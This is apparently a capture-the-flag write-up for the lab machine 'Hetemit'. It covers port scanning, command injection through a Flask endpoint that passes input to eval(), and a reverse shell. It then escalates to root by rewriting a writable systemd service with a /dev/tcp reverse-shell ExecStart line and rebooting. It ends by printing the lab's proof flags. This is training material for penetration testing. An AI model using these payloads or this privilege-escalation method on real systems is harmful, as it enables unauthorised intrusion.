Hetemit
Enumeration:
Port Scanning:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 192.168.206.117
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-08 11:30 EST
Nmap scan report for 192.168.206.117
Host is up, received echo-reply ttl 61 (0.17s latency).
Scanned at 2025-11-08 11:30:59 EST for 88s
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can''t get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.174
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH2Cap49zuKy70lHzXsOn9iOap0h1Dnwk14D6PNKugueOqGpYoffwCGCA0wF4cI3+MRjuHz4xGznmtTIP3vOBZINZvT5PsNcvu6ef0SDfDOMFbzsEirhpQuoBYvgmEuJ4u1V
MiwNaYQ0jw9t+nsR2MAIym/wdKt+ghYm4qlB3WvLMV41uCu0F7OQadRX8GWrLWLucjSQ1f80tkV7mc7ZfuTm8YdsAOkNQufHkVE+Alk0NpHdqLh/6FHxmEqYwP0jX6HS/lg+MfczIbIQ91v7+ljvo3qgdSZPqqulUtQuj/Rb/gmI
fItzFZIxTzLQ6FuKKmoTMXaR/tXf93+91z+kBdDaZe/5eu6fLCdGuFyioB97LdZGJq8uFbM0BpNeBYc0i/DOFwxWBhO8/zzv1uaTUKuS1B+bny1iUTiQoJj6GVRQmvgk/2Km5SanF3Cp4PSSJMQ112Umjg1T61ah/i//KXAyZ25x
OznolBw/aoCc9cremrkycUp7dmuATBNCgHFS0=
| 256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTMpDGmoKZ96W+Ivvw7sQmnD1U41OY34oAzJ5Z1/AP/iVj+TpKO6lCKPxDq+9nbJJU4dtQx8X+KjQqUtpYIUhw=
| 256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEUnTSrfkvL2AJJsozjPtXIWf/6Z7UB9WptTiOOX93m4
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.37 ((centos))
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4
18000/tcp open biimenu? syn-ack ttl 61
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
<snipped>
50000/tcp open http syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
<snipped>
Service Info: OS: Unix
<snipped>A lot of open ports, and a lot of rabbit holes.
For ftp, I could not list the files inside of it. As for smb we have a share that we do not have read or write access to it.
HTTP (80):

Nothing just the apache welcoming page.
HTTP (18000):

Again I tried directory fuzzing, also registered an account but could not login, also tried sql injection nothing came to success.
HTTP (50000):

We have some sort of an api with two endpoints listed in this curly braces.
Try the first one:

We only get an email address.
Lets see the verbs we can use on this endpoint:

Lets try POST, and from the response from the previous request we got an email address so lets try passing something to a guessing parameter like email hence the name:

It seems like a hash, specifically sha256.
Lets try to hash the same value ourselves through sha256sum command:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ echo -n 1 | sha256sum
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b -The outputs are identical which emphasize that it is accepting any value and pass it to a hash function and print the output.
Move on to the second endpoint:

This time it seems that this is a parameter we can use with verify:

If we passed a string without quotes we will get a response with 500:


Exploitation:
Lets try some simple math equations to confirm if we are dealing with the python interpreter or some python functions (We should encode the plus sign to the server-side program does not interpret it as a space instead of the plus):

Import os and use the system function:

Ping our target:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:38:49.342365 IP 192.168.206.117 > 192.168.45.174: ICMP echo request, id 2130, seq 1, length 64
11:38:49.342487 IP 192.168.45.174 > 192.168.206.117: ICMP echo reply, id 2130, seq 1, length 64
11:38:50.316717 IP 192.168.206.117 > 192.168.45.174: ICMP echo request, id 2130, seq 2, length 64
11:38:50.316745 IP 192.168.45.174 > 192.168.206.117: ICMP echo reply, id 2130, seq 2, length 64
11:38:51.314343 IP 192.168.206.117 > 192.168.45.174: ICMP echo request, id 2130, seq 3, length 64
11:38:51.314368 IP 192.168.45.174 > 192.168.206.117: ICMP echo reply, id 2130, seq 3, length 64
^C
6 packets captured
6 packets received by filter
0 packets dropped by kernelHere we have blind command injection.
Get a reverse shell:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ nc -nlvp 80
listening on [any] 80 ...
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.174] from (UNKNOWN) [192.168.206.117] 49038
bash: cannot set terminal process group (1395): Inappropriate ioctl for device
bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$ which python3
which python3
/usr/bin/python3
[cmeeks@hetemit restjson_hetemit]$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<it]$ python3 -c 'import pty;pty.spawn("/bin/bash")'
[cmeeks@hetemit restjson_hetemit]$ export TERM=xterm
export TERM=xterm
[cmeeks@hetemit restjson_hetemit]$ ^Z
zsh: suspended nc -nlvp 80
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ stty raw -echo ; fg
[1] + continued nc -nlvp 80
[cmeeks@hetemit restjson_hetemit]$ stty rows 43 columns 172
[cmeeks@hetemit restjson_hetemit]$Post-Exploitation:
Run sudo -l:
[cmeeks@hetemit restjson_hetemit]$ sudo -l
Matching Defaults entries for cmeeks on hetemit:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User cmeeks may run the following commands on hetemit:
(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroffWe can not do anything with those commands at the moment, because they are just allowing us to poweroff or reboot our machine.
Also the script that is running the application we exploited:
[cmeeks@hetemit restjson_hetemit]$ cat app.py
from flask import Flask, request
import hashlib, os
app = Flask(__name__)
@app.route('/')
def f0():
return "{'/generate', '/verify'}"
@app.route('/generate', methods=['GET','POST'])
def f1():
if request.method == 'GET':
return "{'email@domain'}"
else:
email = request.form['email'].encode('utf-8')
return hashlib.sha256(email).hexdigest()
@app.route('/verify', methods=['GET','POST'])
def f2():
if request.method == 'GET':
return "{'code'}"
else:
code = request.form['code']
result = eval(code)
return str(result)
if __name__ == '__main__':
app.run()Here we can see that our input is passed to the eval function without any proper validation.
I uploaded linpeas and ran it:
[cmeeks@hetemit shm]$ ./linpeas.sh
<snipped>
╔══════════╣ Permissions in init, init.d, systemd, and rc.d
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd
You have write privileges over /etc/systemd/system/pythonapp.serviceAs referred by linpeas we have write permissions over that python program, lets read that file:
[cmeeks@hetemit system]$ cat pythonapp.service
[Unit]
Description=Python App
After=network-online.target
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=flask run -h 0.0.0.0 -p 50000
TimeoutSec=30
RestartSec=15s
User=cmeeks
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
[Install]
WantedBy=multi-user.targetThis service file starts the application we exploited on port 50000.
Since we have write permissions lets overwrite it with our own malicious one with nano:
[cmeeks@hetemit system]$ cat pythonapp.service
[Unit]
Description=Python App
After=network-online.target
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.174/80 0>&1'
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
[Install]
WantedBy=multi-user.targetHere we changed the execstart variable to execute our command instead, and the user to root.
But we can not restart that service because we do not have root or sudo privileges to use a tool like systemctl that could help us restart the service.
Instead we will use reboot command with sudo as shown above with sudo -l:
[cmeeks@hetemit system]$ sudo rebootBefore we execute the command above I started another netcat listener:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ nc -nlvp 80
listening on [any] 80 ...After we wait for like a minute so the computer restarted:
┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Hetemit]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.174] from (UNKNOWN) [192.168.206.117] 55406
bash: cannot set terminal process group (1233): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]#We got a shell as root.
Lets get the flags:
[root@hetemit restjson_hetemit]# cd /root
cd /root
[root@hetemit ~]# ls -la
ls -la
total 28
dr-xr-x---. 2 root root 152 Nov 8 16:59 .
dr-xr-xr-x. 17 root root 244 Nov 13 2020 ..
-rw-------. 1 root root 1183 Nov 13 2020 anaconda-ks.cfg
-rw-------. 1 root root 0 Nov 30 2020 .bash_history
-rw-r--r--. 1 root root 18 May 11 2019 .bash_logout
-rw-r--r--. 1 root root 176 May 11 2019 .bash_profile
-rw-r--r--. 1 root root 176 May 11 2019 .bashrc
-rw-r--r--. 1 root root 100 May 11 2019 .cshrc
-rw-r--r--. 1 root root 33 Nov 8 16:59 proof.txt
-rw-r--r--. 1 root root 129 May 11 2019 .tcshrc
[root@hetemit ~]# cat proof.txt
cat proof.txt
3913fb1fd316129f59106ea578c13ae0
[root@hetemit ~]# cat /home/cmeeks/local.txt
cat /home/cmeeks/local.txt
8f0afb1b01e268debf1365b514d21afdLast updated